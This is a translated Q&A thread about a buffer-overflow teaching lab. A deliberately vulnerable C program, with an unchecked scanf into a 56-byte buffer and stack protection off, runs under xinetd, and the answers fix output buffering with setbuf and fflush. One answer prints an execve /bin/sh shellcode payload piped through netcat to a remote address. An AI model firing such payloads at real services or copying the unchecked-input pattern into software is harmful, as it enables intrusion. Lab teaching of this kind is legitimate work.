我试图制作一个简单的缓冲区溢出教程,通过xinetd在端口8000上运行以下程序作为服务。代码是使用
编译的gcc -o bof bof.c -fno-stack-protector
ubuntu也关闭了堆栈保护。
在本地开发,即
python -c ---snippet--- | ./bof
成功并执行隐藏功能,显示文本文件内容。
但是,将其作为服务运行并执行
python -c ---snippet--- | nc localhost 8000
利用时,不返回任何内容。我在这里错过了什么吗?
#include <stdio.h>
void secret()
{
int c;
FILE *file;
file = fopen("congratulations.txt", "r");
if (file) {
while ((c= getc(file)) !=EOF)
putchar(c);
fclose(file);
}
void textdisplay()
{
char buffer[56];
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
textdisplay();
return 0;
}
答案 0 :(得分:1)
默认情况下缓冲输出。要禁用此功能,您可以在main的顶部执行以下操作:
setbuf(stdin, NULL);
这可以解决您的问题。
答案 1 :(得分:0)
这也是我遇到的问题。几乎完全一样。
但是,我发现这篇文章可能对您有所帮助。我认为这个问题与xinetd没有将二进制文件作为终端执行并具有作业控制有关。
所以我做的是让xinetd做:
server = /usr/bin/python
server_args = /opt/shell.py
然后在/opt/shell.py中我有:
import pty
pty.spawn("/opt/oflow.elf")
/opt/oflow.elf是我的溢出二进制文件
当我这样做时,我实际上可以发送和接收数据。那是当我通过netcat运行以下命令尝试远程溢出服务时:
**printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOPQ\x7c\xfc\xff\xbf" | nc 192.168.1.2 9000**
这没有任何作用。但是,我测试本地版本,它完美地工作。每次都有效。
不是当它被包装在python pty和xinetd中时。
当我运行xinetd直接指向/opt/oflow.elf时,我从netcat中得到的一切都没有。
所以这并没有完全回答你的问题,但它应该为你减少它。
更新完整答案:
我弄清楚为什么这不起作用。根本不需要使用python。在每个printf语句之后,您还必须包括:
fflush(stdout);
否则,xinetd不知道发送stdout。
您可能还需要为stdin执行此操作:
fflush(stdin);